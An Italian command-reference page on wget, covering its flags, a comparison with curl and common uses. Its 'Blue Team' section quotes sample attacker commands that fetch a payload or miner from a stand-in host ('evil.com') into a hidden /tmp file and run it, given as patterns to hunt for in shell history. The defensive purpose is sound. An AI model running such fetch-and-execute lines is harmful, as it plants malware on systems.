Skip to main content
  1. Comandi/

wget - web get

·3 mins
Alessio Barnini
Author
Alessio Barnini
Table of Contents

Cosa fa
#

Scarica file da URL in modo non interattivo. Progettato per il download di file — riprende automaticamente i download interrotti, supporta download ricorsivi di siti interi e funziona bene in background e negli script. A differenza di curl, non e' pensato per testare API o vedere header.

Sintassi
#

wget [opzioni] URL

Comandi essenziali
#

ComandoFlagSignificato flagCosa fa
wget https://example.com/file.zipScarica il file nella directory corrente
wget -O nome.zip URL-Ooutput fileSpecifica il nome del file scaricato
wget -c URL-ccontinueRiprende un download interrotto
wget -b URL-bbackgroundScarica in background, log in wget-log
wget -q URL-qquietNessun output — silenzioso
wget --limit-rate=1m URL--limit-rateLimita la velocita' a 1MB/s
wget -r -l 2 URL-r -lrecursive + levelScarica il sito ricorsivamente fino a 2 livelli
wget -i lista.txt-iinput fileScarica tutti gli URL da un file di testo

wget vs curl
#

wget                          curl
────────────────────────      ──────────────────────────────
ottimizzato per download      ottimizzato per trasferimento
riprende automaticamente      riprende con -C -
ricorsivo nativo              non ricorsivo
meno flag HTTP                flag HTTP completi
output su file di default     output su stdout di default
meglio per script/batch       meglio per API e debug

Regola pratica: usa wget per scaricare file, usa curl per testare API e vedere header.

Combinazioni utili
#

# Scarica e riprendi se interrotto
wget -c https://example.com/file-grande.iso

# Scarica in background e vai avanti
wget -b https://example.com/file.zip
# output in wget-log
tail -f wget-log    # monitoraggio

# Scarica piu' file da lista
cat urls.txt | xargs wget -q

# Mirror di un sito (con limitazioni)
wget --mirror --convert-links --page-requisites https://example.com

Scenario Reale — Blue Team
#

wget e' spesso usato dagli attaccanti per scaricare payload dopo l'accesso iniziale:

# Pattern sospetto in auth.log o bash_history:
wget http://IP-sospetto/payload.sh
wget -q http://evil.com/miner -O /tmp/.hidden
chmod +x /tmp/.hidden && /tmp/.hidden &
# Difesa — cerca wget in bash_history
grep -i "wget" ~/.bash_history
grep -i "wget" /home/*/. bash_history 2>/dev/null

# Cerca processi wget in esecuzione
ps aux | grep wget
Warning

wget -q in bash_history e' un segnale di allarme — il flag silenzioso e' usato per nascondere i download. Un utente legittimo quasi mai ha bisogno di -q.

Note personali
#

Note

Su alcuni sistemi minimali wget non e' installato di default ma curl si — e viceversa. Negli script di incident response e' buona pratica verificare quale dei due e' disponibile con which wget || which curl.

Collegato a
#

  • network — categoria
  • system — categoria
  • curl — alternativa per API e debug HTTP
  • ssh — alternativa sicura per trasferimento file con autenticazione

Related